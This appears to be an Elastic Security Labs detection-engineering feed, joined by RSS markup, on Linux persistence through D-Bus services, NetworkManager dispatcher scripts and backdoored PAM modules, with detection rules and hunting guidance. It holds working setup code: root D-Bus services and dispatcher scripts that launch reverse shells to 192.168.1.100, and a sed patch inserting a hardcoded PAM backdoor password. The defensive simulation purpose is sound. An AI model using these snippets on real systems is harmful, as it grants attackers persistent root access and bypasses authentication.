<p><a href="https://linux.die.net/man/1/dbus-daemon">D-Bus (Desktop Bus)</a> is an <a href="https://www.geeksforgeeks.org/inter-process-communication-ipc/">inter-process communication (IPC)</a> system widely used in Linux and other Unix-like operating systems. It serves as a structured message bus, enabling processes, system services, and applications to communicate and coordinate actions. As a cornerstone of modern Linux environments, D-Bus provides the framework for both system-wide and user-specific communication.</p>
<p>At its core, D-Bus facilitates interaction between processes by providing a standardized mechanism for sending and receiving messages, eliminating the need for custom IPC solutions while improving efficiency and security. It operates through two primary communication channels:</p>
<ul>
<li><strong>System Bus</strong>: Used for communication between system-level services and privileged operations, such as managing hardware or network configuration.</li>
<li><strong>Session Bus</strong>: Used for communication between user-level applications, such as desktop notifications or media players.</li>
</ul>
<p>A D-Bus daemon manages the message bus, ensuring messages are routed securely between processes. Processes register themselves on the bus with unique names and provide interfaces containing methods, signals, and properties for other processes to interact with. The core components of D-Bus communication looks as follows:</p>
<p><strong>Interfaces</strong>:</p>
<ul>
<li>Define a collection of methods, signals, and properties a service offers.</li>
<li>Example: <a href="https://networkmanager.dev/docs/api/latest/gdbus-org.freedesktop.NetworkManager.html"><code>org.freedesktop.NetworkManager</code></a> provides methods to manage network connections.</li>
</ul>
<p><strong>Methods</strong>:</p>
<ul>
<li>Allow external processes to invoke specific actions or request information.</li>
<li>Example: The method <code>org.freedesktop.NetworkManager.Reload</code> can be called to reload a network service.</li>
</ul>
<p><strong>Signals</strong>:</p>
<ul>
<li>Notifications sent by a service to inform other processes about events.</li>
<li>Example: A signal might indicate a network connection status change.</li>
</ul>
<p>As an example, the following command sends a message to the system bus to invoke the <code>Reload</code> method on the <code>NetworkManager</code> service:</p>
<pre><code>dbus-send --system --dest=org.freedesktop.NetworkManager /org/freedesktop/NetworkManager org.freedesktop.NetworkManager.Reload uint32:0
</code></pre>
<p>D-Bus services are applications or daemons that register themselves on the bus to provide functionality. If a requested service is not running, the D-Bus daemon can start it automatically using predefined service files.</p>
<p>These services use service files with a <code>.service</code> extension to tell D-Bus how to start a service. For example:</p>
<pre><code>[D-BUS Service]
Name=org.freedesktop.MyService
Exec=/usr/bin/my-service
User=root
</code></pre>
<p>D-Bus service files can be located in several different locations, depending on whether these services are running system-wide or at the user-level, and depending on the architecture and Linux distribution. The following is an overview of locations that are used, which is not an exhaustive list, as different distributions use different default locations:</p>
<ol>
<li><strong>System-wide Configuration and Services</strong>:
<ul>
<li>System service files:
<ul>
<li><code>/usr/share/dbus-1/system-services/</code></li>
<li><code>/usr/local/share/dbus-1/system-services/</code></li>
</ul>
</li>
<li>System policy files:
<ul>
<li><code>/etc/dbus-1/system.d/</code></li>
<li><code>/usr/share/dbus-1/system.d/</code></li>
</ul>
</li>
<li>System configuration files:
<ul>
<li><code>/etc/dbus-1/system.conf</code></li>
<li><code>/usr/share/dbus-1/system.conf</code></li>
</ul>
</li>
</ul>
</li>
<li><strong>Session-wide Configuration and Services</strong>:
<ul>
<li>Session service files:
<ul>
<li><code>/usr/share/dbus-1/session-services/</code></li>
<li><code>~/.local/share/dbus-1/services/</code></li>
</ul>
</li>
<li>Session policy files:
<ul>
<li><code>/etc/dbus-1/session.d/</code></li>
<li><code>/usr/share/dbus-1/session.d/</code></li>
</ul>
</li>
<li>Session configuration files:
<ul>
<li><code>/etc/dbus-1/session.conf</code></li>
<li><code>/usr/share/dbus-1/session.conf</code></li>
</ul>
</li>
</ul>
</li>
</ol>
<p>More details on each path is available <a href="https://dbus.freedesktop.org/doc/dbus-daemon.1.html">here</a>. D-Bus policies, written in XML, define access control rules for D-Bus services. These policies specify who can perform actions such as sending messages, receiving responses, or owning specific services. They are essential for controlling access to privileged operations and ensuring that services are not misused. There are several key components to a D-Bus policy:</p>
<ol>
<li><strong>Context</strong>:</li>
</ol>
<ul>
<li>Policies can apply to specific users, groups, or a default context (<code>default</code> applies to all users unless overridden).</li>
</ul>
<ol start="2">
<li><strong>Allow/Deny Rules</strong>:</li>
</ol>
<ul>
<li>Rules explicitly grant (<code>allow</code>) or restrict (<code>deny</code>) access to methods, interfaces, or services.</li>
</ul>
<ol start="3">
<li><strong>Granularity</strong>:</li>
</ol>
<ul>
<li>Policies can control access at multiple levels:
<ul>
<li>Entire services (e.g., <code>org.freedesktop.MyService</code>).</li>
<li>Specific methods or interfaces (e.g., <code>org.freedesktop.MyService.SecretMethod</code>).</li>
</ul>
</li>
</ul>
<p>The following example demonstrates a D-Bus policy that enforces clear access restrictions:</p>
<pre><code>&lt;!DOCTYPE busconfig PUBLIC &quot;-//freedesktop//DTD D-Bus Bus Configuration 1.0//EN&quot;
  &quot;http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd&quot;&gt;
&lt;busconfig&gt;
    &lt;!-- Default policy: Deny all access --&gt;
    &lt;policy context=&quot;default&quot;&gt;
        &lt;deny send_destination=&quot;org.freedesktop.MyService&quot;/&gt;
    &lt;/policy&gt;

    &lt;!-- Allow only users in the &quot;admin&quot; group to access specific methods --&gt;
    &lt;policy group=&quot;admin&quot;&gt;
        &lt;allow send_interface=&quot;org.freedesktop.MyService.PublicMethod&quot;/&gt;
    &lt;/policy&gt;

    &lt;!-- Allow root to access all methods --&gt;
    &lt;policy user=&quot;root&quot;&gt;
        &lt;allow send_destination=&quot;org.freedesktop.MyService&quot;/&gt;
    &lt;/policy&gt;
&lt;/busconfig&gt;
</code></pre>
<p>This policy:</p>
<ol>
<li>Denies all access to the service <code>org.freedesktop.MyService</code> by default.</li>
<li>Grants users in the <code>admin</code> group access to a specific interface (<code>org.freedesktop.MyService.PublicMethod</code>).</li>
<li>Grants full access to the <code>org.freedesktop.MyService</code> destination for the <code>root</code> user.</li>
</ol>
<p>D-Bus’s central role in IPC makes it a potential interesting target for attackers. Potential attack vectors include:</p>
<ol>
<li><strong>Hijacking or Registering Malicious Services</strong>:
<ul>
<li>Attackers can replace or add <code>.service</code> files in e.g. <code>/usr/share/dbus-1/system-services/</code> to hijack legitimate communication or inject malicious code.</li>
</ul>
</li>
<li><strong>Creating or Exploiting Over-permissive Policies</strong>:
<ul>
<li>Weak policies (e.g., granting all users access to critical services) can allow attackers to invoke privileged methods.</li>
</ul>
</li>
<li><strong>Abusing Vulnerable Services</strong>:
<ul>
<li>If a D-Bus service improperly validates input, attackers may execute arbitrary code or perform unauthorized actions.</li>
</ul>
</li>
</ol>
<p>The examples above can be used for privilege escalation, defense evasion and persistence. Currently, there is no specific MITRE ATT&amp;CK sub-technique for D-Bus. However, its abuse aligns closely with <a href="https://attack.mitre.org/techniques/T1543/">T1543: Create or Modify System Process</a>, as well as <a href="https://attack.mitre.org/techniques/T1574/">T1574: Hijack Execution Flow</a> for cases where <code>.service</code> files are modified.</p>
<p>In the next section we will take a look at how an attacker can set up overly permissive D-Bus configurations that send out reverse connections with root permissions, while discussing approaches to detecting this behavior.</p>
<h1>Persistence through T1543 - Create or Modify System Process: D-Bus</h1>
<p>Now that we've learnt all about D-Bus setup, it’s time to take a look at how to simulate this in practice through the <a href="https://github.com/Aegrah/PANIX/blob/7e27768807e12d11932e2fca5b6a4867308295dd/modules/setup_dbus.sh">setup_dbus.sh</a> PANIX module. PANIX starts off by creating a D-Bus service file at <code>/usr/share/dbus-1/system-services/org.panix.persistence.service</code> with the following contents:</p>
<pre><code>cat &lt;&lt;'EOF' &gt; &quot;$service_file&quot;
[D-BUS Service]
Name=org.panix.persistence
Exec=/usr/local/bin/dbus-panix.sh
User=root
EOF
</code></pre>
<p>This service file will listen on the <code>org.panix.persistence</code> interface, and execute the <code>/usr/local/bin/dbus-panix.sh</code> “service”. The <code>dbus-panix.sh</code> script simply invokes a reverse shell connection when called:</p>
<pre><code>cat &lt;&lt;EOF &gt; &quot;$payload_script&quot;
#!/bin/bash
# When D-Bus triggers this service, execute payload.
${payload}
EOF
</code></pre>
<p>To ensure any user is allowed to invoke the actions corresponding to the interface, PANIX sets up a <code>/etc/dbus-1/system.d/org.panix.persistence.conf</code> file with the following contents:</p>
<pre><code>cat &lt;&lt;'EOF' &gt; &quot;$conf_file&quot;
&lt;!DOCTYPE busconfig PUBLIC &quot;-//freedesktop//DTD D-Bus Bus Configuration 1.0//EN&quot;
	&quot;http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd&quot;&gt;
&lt;busconfig&gt;
	&lt;!-- Allow any user to own, send to, and access the specified service --&gt;
	&lt;policy context=&quot;default&quot;&gt;
		&lt;allow own=&quot;org.panix.persistence&quot;/&gt;
		&lt;allow send_destination=&quot;org.panix.persistence&quot;/&gt;
		&lt;allow send_interface=&quot;org.panix.persistence&quot;/&gt;
	&lt;/policy&gt;
&lt;/busconfig&gt;
EOF
</code></pre>
<p>This configuration defines a D-Bus policy that permits any user or process to own, send messages to, and interact with the <code>org.panix.persistence</code> service, effectively granting unrestricted access to it. After restarting the <code>dbus</code> service, the setup is complete.</p>
<p>To interact with the service, the following command can be used:</p>
<pre><code>dbus-send --system --type=method_call /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method
</code></pre>
<p>This command sends a method call to the D-Bus system bus, targeting the <code>org.panix.persistence</code> service, invoking the <code>org.panix.persistence.Method</code> method on the <code>/org/panix/persistence</code> object, effectively triggering the backdoor.</p>
<p>Let’s run the PANIX module with the following command line arguments:</p>
<pre><code>&gt; sudo ./panix.sh --dbus --default --ip 192.168.1.100 --port 2016

[+] Created/updated D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service
[+] Created/updated payload script: /usr/local/bin/dbus-panix.sh
[+] Created/updated D-Bus config file: /etc/dbus-1/system.d/org.panix.persistence.conf
[!] Restarting D-Bus...
[+] D-Bus restarted successfully.
[+] D-Bus persistence module completed. Test with:

dbus-send --system --type=method_call --print-reply /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method
</code></pre>
<p>Upon execution of the <code>dbus-send</code> command:</p>
<pre><code>dbus-send --system --type=method_call --print-reply /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method
</code></pre>
<p>We will take a look at the documents in Kibana:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/the-grand-finale-on-linux-persistence/image4.png" alt="PANIX D-Bus module execution visualized in Kibana" /></p>
<p>Upon PANIX execution, the <code>org.panix.persistence.service</code>, <code>dbus-panix.sh</code>, and <code>org.panix.persistence.conf</code> files are created, successfully setting the stage. Afterwards, the <code>dbus</code> service is restarted, and the dbus-send command is executed to interact with the <code>org.panix.persistence</code> service. Upon invocation of the <code>org.panix.persistence.Method</code> method, the <code>dbus-panix.sh</code> backdoor is executed, and the reverse shell connection chain (<code>dbus-panix.sh</code> → <code>nohup</code> → <code>setsid</code> → <code>bash</code>) is initiated.</p>
<p>Let’s take a look at our detection opportunities:</p>
<p><em>Detection and endpoint rules that cover D-Bus persistence</em></p>
<table>
<thead>
<tr>
<th align="left">Category</th>
<th align="left">Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">File</td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/fb13b89f8d277ee78d4027a8014ad67023aa167c/rules/linux/persistence_dbus_service_creation.toml">D-Bus Service Created</a></td>
</tr>
<tr>
<td align="left"></td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td>
</tr>
<tr>
<td align="left">Process</td>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/execution_suspicious_d_bus_method_call.toml">Suspicious D-Bus Method Call</a></td>
</tr>
<tr>
<td align="left"></td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/rules/linux/persistence_dbus_unsual_daemon_parent_execution.toml">Unusual D-Bus Daemon Child Process</a></td>
</tr>
</tbody>
</table>
<p>To revert any changes, you can use the corresponding revert module by running:</p>
<pre><code>&gt; ./panix.sh --revert dbus

[*] Reverting D-Bus persistence module...
[+] Removing D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service...
[+] D-Bus service file removed.
[+] Removing payload script: /usr/local/bin/dbus-panix.sh
[+] Payload script removed.
[+] Removing D-Bus configuration file: /etc/dbus-1/system.d/org.panix.persistence.conf...
[+] D-Bus configuration file removed.
[*] Restarting D-Bus...
[+] D-Bus restarted successfully.
[+] D-Bus persistence reverted.
</code></pre>
<h1>Hunting for T1543 - Create or Modify System Process: D-Bus</h1>
<p>We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the use and modification of D-Bus-related files, services, and processes. The approach includes monitoring for the following:</p>
<ol>
<li><strong>Creations and/or Modifications to D-Bus Configuration and Service Files</strong>: Tracks changes in critical directories, such as system-wide and session service files and policy files. Monitoring these paths helps detect unauthorized additions or modifications that may indicate malicious activity targeting D-Bus.</li>
<li><strong>Metadata Analysis of D-Bus Files</strong>: Inspects file ownership, last access times, and modification timestamps for D-Bus configuration files. This can reveal unauthorized changes or the presence of unexpected files that may indicate attempts to persist through D-Bus.</li>
<li><strong>Detection of Suspicious Processes</strong>: Monitors executions of processes such as <code>dbus-daemon</code> and <code>dbus-send</code>, which are key components of D-Bus communication. By tracking command lines, parent processes, and execution counts, unusual or unauthorized usage can be identified.</li>
<li><strong>Detection of Rare or Anomalous Events</strong>: Identifies uncommon file modifications or process executions by correlating event data across endpoints. This highlights subtle indicators of compromise, such as rare changes to critical D-Bus configurations or the unexpected use of D-Bus commands.</li>
</ol>
<p>By combining the <a href="https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_via_desktop_bus.toml">Persistence via Desktop Bus (D-Bus)</a> hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to <a href="https://attack.mitre.org/techniques/T1543/">T1543</a>.</p>
<h1>T1546 - Event Triggered Execution: NetworkManager</h1>
<p><a href="https://wiki.archlinux.org/title/NetworkManager">NetworkManager</a> is a widely used daemon for managing network connections on Linux systems. It allows for configuring wired, wireless, VPN, and other network interfaces while offering a modular and extensible design. One of its lesser-known but powerful features is its <a href="https://wiki.archlinux.org/title/NetworkManager#Network_services_with_NetworkManager_dispatcher">dispatcher</a> feature, which provides a way to execute scripts automatically in response to network events. When certain network events occur (e.g., an interface comes up or goes down), NetworkManager invokes scripts located in this directory. These scripts run as root, making them highly privileged.</p>
<ul>
<li><strong>Event Types</strong>: NetworkManager passes specific events to scripts, such as:
<ul>
<li><code>up</code>: Interface is activated.</li>
<li><code>down</code>: Interface is deactivated.</li>
<li><code>vpn-up</code>: VPN connection is established.</li>
<li><code>vpn-down</code>: VPN connection is disconnected.</li>
</ul>
</li>
</ul>
<p>Scripts placed in <code>/etc/NetworkManager/dispatcher.d/</code> are standard shell scripts and must be marked executable. An example of a dispatcher script may look like this:</p>
<pre><code>#!/bin/bash
INTERFACE=$1
EVENT=$2

if [ &quot;$EVENT&quot; == &quot;up&quot; ]; then
    logger &quot;Interface $INTERFACE is up. Executing custom script.&quot;
    # Perform actions, such as logging, mounting, or starting services
    /usr/bin/some-command --arg value
elif [ &quot;$EVENT&quot; == &quot;down&quot; ]; then
    logger &quot;Interface $INTERFACE is down. Cleaning up.&quot;
    # Perform cleanup actions
fi
</code></pre>
<p>Logging events and executing commands whenever a network interface comes up or goes down.</p>
<p>To achieve persistence through this technique, an attacker can either:</p>
<ul>
<li>Create a custom script, mark it executable and place it within the dispatcher directory</li>
<li>Modify a legitimate dispatcher script to execute a payload upon a certain network event.</li>
</ul>
<p>Persistence through <code>dispatcher.d/</code> aligns with <a href="https://attack.mitre.org/techniques/T1546/">T1546: Event Triggered Execution</a> and <a href="https://attack.mitre.org/techniques/T1543/">T1543: Create or Modify System Process</a> in the MITRE ATT&amp;CK framework. NetworkManager dispatcher scripts however do not have their own sub-technique.</p>
<p>In the next section, we will explore how dispatcher scripts can be exploited for persistence and visualize the process flow to support effective detection engineering.</p>
<h1>Persistence through T1546 - Event Triggered Execution:</h1>
<p>The concept of this technique is very simple, let’s now put it to practice through the <a href="https://github.com/Aegrah/PANIX/blob/7e27768807e12d11932e2fca5b6a4867308295dd/modules/setup_network_manager.sh">setup_network_manager.sh</a> PANIX module. The module checks whether the NetworkManager package is available, and whether the <code>/etc/NetworkManager/dispatcher.d/</code> path exists, as these are requisites for the technique to work. Next, it creates a new dispatcher file under <code>/etc/NetworkManager/dispatcher.d/panix-dispatcher.sh</code>, with a payload on the end. Finally, it grants execution permissions to the dispatcher file, after which it is ready to be activated.</p>
<pre><code>cat &lt;&lt;'EOF' &gt; &quot;$dispatcher_file&quot;
#!/bin/sh -e

if [ &quot;$2&quot; = &quot;connectivity-change&quot; ]; then
	exit 0
fi

if [ -z &quot;$1&quot; ]; then
	echo &quot;$0: called with no interface&quot; 1&gt;&amp;2
	exit 1
fi

[...]

# Insert payload here:
__PAYLOAD_PLACEHOLDER__
EOF

chmod +x &quot;$dispatcher_file&quot;
</code></pre>
<p>We have included only the most relevant snippets of the module above. Feel free to check out the module source code if you are interested in diving deeper.</p>
<p>Let’s run the PANIX module with the following command line arguments:</p>
<pre><code>&gt; sudo ./panix.sh --network-manager --default --ip 192.168.1.100 --port 2017

[+] Created new dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh
[+] Replaced payload placeholder with actual payload.
[+] Using dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh
</code></pre>
<p>Now, whenever a new network event triggers, the payload will be executed. This can be done through restarting the NetworkManager service, an interface or a reboot. Let’s take a look at the documents in Kibana:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/the-grand-finale-on-linux-persistence/image1.png" alt="PANIX network-manager module execution visualized in Kibana" /></p>
<p>Upon PANIX execution, the <code>panix-dispatcher.sh</code> script is created, marked as executable and <code>sed</code> is used to add the payload to the bottom of the script. Upon restarting the <code>NetworkManager</code> service through <code>systemctl</code>, we can see <code>nm-dispatcher</code> executing the <code>panix-dispatcher.sh</code> script, effectively detonating the reverse shell chain (<code>panix-dispatcher.sh</code> → <code>nohup</code> → <code>setsid</code> → <code>bash</code>).</p>
<p>And finally, let’s take a look at our detection opportunities:</p>
<p><em>Detection and endpoint rules that cover network-manager persistence</em></p>
<table>
<thead>
<tr>
<th align="left">Category</th>
<th align="left">Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">File</td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/9b8b9175985ed533493e2c9dc4dc17ee8bf9e704/rules/linux/persistence_network_manager_dispatcher_persistence.toml">NetworkManager Dispatcher Script Creation</a></td>
</tr>
<tr>
<td align="left"></td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td>
</tr>
<tr>
<td align="left">Process</td>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/execution_shell_via_networkmanager_dispatcher_script.toml">Shell via NetworkManager Dispatcher Script</a></td>
</tr>
<tr>
<td align="left">Network</td>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/execution_reverse_shell_via_networkmanager_dispatcher_script.toml">Reverse Shell via NetworkManager Dispatcher Script</a></td>
</tr>
</tbody>
</table>
<p>To revert any changes, you can use the corresponding revert module by running:</p>
<pre><code>&gt; ./panix.sh --revert network-manager

[+] Checking for payload in /etc/NetworkManager/dispatcher.d/01-ifupdown...
[+] No payload found in /etc/NetworkManager/dispatcher.d/01-ifupdown.
[+] Removing custom dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh...
[+] Custom dispatcher file removed.
[+] NetworkManager persistence reverted.
</code></pre>
<h1>Hunting for T1546 - Event Triggered Execution: NetworkManager</h1>
<p>We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the creation, modification, and execution of NetworkManager Dispatcher scripts. The approach includes monitoring for the following:</p>
<ol>
<li><strong>Creations and/or Modifications to Dispatcher Scripts</strong>: Tracks changes within the <code>/etc/NetworkManager/dispatcher.d/</code> directory. Monitoring for new or altered scripts helps detect unauthorized additions or modifications that could indicate malicious intent.</li>
<li><strong>Detection of Suspicious Processes</strong>: Monitors processes executed by <code>nm-dispatcher</code> or scripts located in <code>/etc/NetworkManager/dispatcher.d/</code>. By analyzing command lines, parent processes, and execution counts, unusual or unauthorized script executions can be identified.</li>
<li><strong>Metadata Analysis of Dispatcher Scripts</strong>: Inspects ownership, last access times, and modification timestamps for files in <code>/etc/NetworkManager/dispatcher.d/</code>. This can reveal unauthorized changes or anomalies in file attributes that may indicate persistence attempts.</li>
</ol>
<p>By combining the <a href="https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_via_network_manager_dispatcher_script.toml">Persistence via NetworkManager Dispatcher Script</a> hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to <a href="https://attack.mitre.org/techniques/T1546/">T1546</a>.</p>
<h1>Conclusion</h1>
<p>In the fifth and concluding chapter of the &quot;Linux Detection Engineering&quot; series, we turned our attention to persistence mechanisms rooted in the Linux boot process, authentication systems, inter-process communication, and core utilities. We began with GRUB-based persistence and the manipulation of initramfs, covering both manual approaches and automated methods using Dracut. Moving further, we explored Polkit-based persistence, followed by a dive into D-Bus exploitation, and concluded with NetworkManager dispatcher scripts, highlighting their potential for abuse in persistence scenarios.</p>
<p>Throughout this series, <a href="https://github.com/Aegrah/PANIX">PANIX</a> played a critical role in demonstrating and simulating these techniques, allowing you to test your detection capabilities and strengthen your defenses. Combined with the tailored ES|QL and OSQuery queries provided, these tools enable you to identify and respond effectively to even the most advanced persistence mechanisms.</p>
<p>As we close this series, we hope you feel empowered to tackle Linux persistence threats with confidence. Armed with practical knowledge, actionable strategies, and hands-on experience, you are well-prepared to defend against adversaries targeting Linux environments. Thank you for joining us, and as always, stay vigilant and happy hunting!</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/de/security-labs/assets/images/the-grand-finale-on-linux-persistence/Security Labs Images 5.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Linux Detection Engineering - Approaching the Summit on Persistence Mechanisms]]></title>
            <link>https://www.elastic.co/de/security-labs/approaching-the-summit-on-persistence</link>
            <guid>approaching-the-summit-on-persistence</guid>
            <pubDate>Tue, 11 Feb 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Building on foundational concepts and techniques explored in the previous publications, this post discusses some creative and/or complex persistence mechanisms.]]></description>
            <content:encoded><![CDATA[<h1>Introduction</h1>
<p>Welcome to part four of the Linux Persistence Detection Engineering series! In this article, we continue to dig deep into the world of Linux persistence. Building on foundational concepts and techniques explored in the previous publications, this post discusses some creative and/or complex persistence mechanisms.</p>
<p>If you missed the earlier articles, they lay the groundwork by exploring key persistence concepts. You can catch up on them here:</p>
<ul>
<li><a href="https://www.elastic.co/de/security-labs/primer-on-persistence-mechanisms"><em>Linux Detection Engineering - A Primer on Persistence Mechanisms</em></a></li>
<li><a href="https://www.elastic.co/de/security-labs/sequel-on-persistence-mechanisms"><em>Linux Detection Engineering - A Sequel on Persistence Mechanisms</em></a></li>
<li><a href="https://www.elastic.co/de/security-labs/continuation-on-persistence-mechanisms"><em>Linux Detection Engineering - A Continuation on Persistence Mechanisms</em></a></li>
</ul>
<p>In this publication, we’ll provide insights into:</p>
<ul>
<li>How each works (theory)</li>
<li>How to set each up (practice)</li>
<li>How to detect them (SIEM and Endpoint rules)</li>
<li>How to hunt for them (ES|QL and OSQuery reference hunts)</li>
</ul>
<p>To make the process even more engaging, we will be leveraging <a href="https://github.com/Aegrah/PANIX">PANIX</a>, a custom-built Linux persistence tool designed by Ruben Groenewoud of Elastic Security. PANIX allows you to streamline and experiment with Linux persistence setups, making it easy to identify and test detection opportunities.</p>
<p>By the end of this series, you'll have a robust knowledge of common and rare Linux persistence techniques; and you'll understand how to effectively engineer detections for common and advanced adversary capabilities. Let’s dive in!</p>
<h1>Setup note</h1>
<p>To ensure you are prepared to detect the persistence mechanisms discussed in this article, it is important to <a href="https://www.elastic.co/de/guide/en/security/current/prebuilt-rules-management.html#update-prebuilt-rules">enable and update our pre-built detection rules</a>. If you are working with a custom-built ruleset and do not use all of our pre-built rules, this is a great opportunity to test them and potentially fill any gaps. Now, we are ready to get started.</p>
<h1>T1556.003 - Modify Authentication Process: Pluggable Authentication Modules</h1>
<p><a href="https://www.redhat.com/en/blog/pluggable-authentication-modules-pam">Pluggable Authentication Modules (PAM)</a> are a powerful framework used in Linux to manage authentication-related tasks. PAM operates as a layer between applications and authentication methods, allowing system administrators to configure flexible and modular authentication policies. These modules are defined in configuration files typically found in <code>/etc/pam.d/</code>.</p>
<p>PAM modules themselves are shared library files commonly stored in the following locations:</p>
<ul>
<li><code>/lib/security/</code></li>
<li><code>/lib64/security/</code></li>
<li><code>/lib/x86_64-linux-gnu/security/</code></li>
<li><code>/usr/lib/security/</code></li>
<li><code>/usr/lib64/security/</code></li>
<li><code>/usr/lib/x86_64-linux-gnu/security/</code></li>
</ul>
<p>These locations house modules that perform authentication tasks, such as validating passwords, managing accounts, or executing scripts during authentication. While PAM provides the essential capability to centralize how secure authentication happens, its flexibility can be abused by attackers to establish persistence through malicious PAM modules. By introducing custom modules or modifying existing configurations, attackers can manipulate authentication flows to capture credentials, manipulate logging to evade detection, grant unauthorized access, or execute malicious code.</p>
<p>This is a common technique, and some examples include the open-source <a href="https://github.com/ldpreload/Medusa">Medusa</a> and <a href="https://github.com/chokepoint/azazel">Azazel</a> rootkits, and by malwares such as <a href="https://attack.mitre.org/software/S0377/">Ebury</a>, and <a href="https://unit42.paloaltonetworks.com/linux-pam-apis/">Skidmap</a> to establish persistence, capture credentials, and maintain unauthorized access. MITRE ATT&amp;CK tracks this technique under the identifier <a href="https://attack.mitre.org/techniques/T1556/003/">T1556.003</a>.</p>
<h2>T1556.003 - Pluggable Authentication Modules: Malicious PAM</h2>
<p>Malicious PAM modules are custom-built, malicious shared libraries designed to be loaded during the PAM authentication process. Although there are many different ways to establish a PAM backdoor, in this section we will showcase how PAM can be patched to allow for backdoor SSH access.</p>
<p>Commonly, PAM backdoors will patch the <code>pam_unix_auth.c</code> file, which is part of the <code>pam_unix</code> module, a widely used PAM module for UNIX-style password authentication. An open-source example of this is the <a href="https://github.com/zephrax/linux-pam-backdoor">linux-pam-backdoor</a> by <a href="https://github.com/zephrax">zephrax</a>. The typical code that is run to verify the password of a user requesting authentication, looks as follows:</p>
<pre><code class="language-c">/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
name = p = NULL;
</code></pre>
<p>The original code calls the <code>_unix_verify_password</code> function to validate the provided password (<code>p</code>) against the stored password for the user (<code>name</code>). The full source code is available <a href="https://github.com/linux-pam/linux-pam/blob/fc927d8f1a6d81e5bcf58096871684b35b793fe2/modules/pam_unix/pam_unix_auth.c">here</a>.</p>
<p>A threat actor may patch this code, and introduce an additional check.</p>
<pre><code class="language-c">/* verify the password of this user */
if (strcmp(p, &quot;_PASSWORD_&quot;) != 0) {    
	retval = _unix_verify_password(pamh, name, p, ctrl); 
} else {    
	retval = PAM_SUCCESS; 
}
</code></pre>
<p>The code now checks:</p>
<ul>
<li>If the provided password (<code>p</code>) is not equal to the string literal <code>&quot;_PASSWORD_&quot;</code>, it proceeds to call <code>_unix_verify_password</code> for standard password validation.</li>
<li>If the password is <code>&quot;_PASSWORD_&quot;</code>, it skips the password verification entirely and directly returns <code>PAM_SUCCESS</code>, indicating successful authentication.</li>
</ul>
<p>The patch introduces a hardcoded backdoor password. Any user who enters the password <code>&quot;_PASSWORD_&quot;</code> will bypass normal password verification and be authenticated successfully, regardless of the actual password stored for the account.</p>
<h3>Persistence through T1556.003 - Pluggable Authentication Modules: Malicious PAM</h3>
<p>We will be leveraging the <a href="https://github.com/Aegrah/PANIX/blob/main/modules/setup_pam.sh">setup_pam.sh</a> module from PANIX to test this technique and research potential detection opportunities. This patch is easily implemented by downloading the PAM source code for the correct PAM version from the <a href="https://github.com/linux-pam/linux-pam/releases">linux-pam</a> GitHub repository, looking for the line to replace, and replacing it with your own hardcoded password:</p>
<pre><code class="language-bash">echo &quot;[+] Modifying PAM source...&quot;
local target_file=&quot;$src_dir/modules/pam_unix/pam_unix_auth.c&quot;
if grep -q &quot;retval = _unix_verify_password(pamh, name, p, ctrl);&quot; &quot;$target_file&quot;; then
	sed -i '/retval = _unix_verify_password(pamh, name, p, ctrl);/a\
	if (p != NULL &amp;&amp; strcmp(p, &quot;'$password'&quot;) != 0) { retval = _unix_verify_password(pamh, name, p, ctrl); } else { retval = PAM_SUCCESS; }' &quot;$target_file&quot;
	echo &quot;[+] Source modified successfully.&quot;
else
	echo &quot;[-] Target string not found in $target_file. Modification failed.&quot;
	exit 1
fi
</code></pre>
<p>After which we can compile the shared object, and move it to the correct PAM directory.</p>
<p>Now let’s run the <a href="https://github.com/Aegrah/PANIX/blob/main/modules/setup_pam.sh">setup_pam.sh</a> module. This technique requires several compilation tools and downloading a specific Linux-PAM release. Execute the following PANIX command to inject a malicious module.</p>
<pre><code>&gt; sudo ./panix.sh --pam --module --password persistence

[+] Determining PAM version...                                                                                          
[+] Detected PAM Version: '1.3.1'
[+] Downloading PAM source...
[+] Download completed. Extracting...
[+] Extraction completed.
[+] Modifying PAM source... 
[+] Source modified successfully.
[+] Compiling PAM source...
[+] PAM compiled successfully.
[+] Detecting PAM library directory...
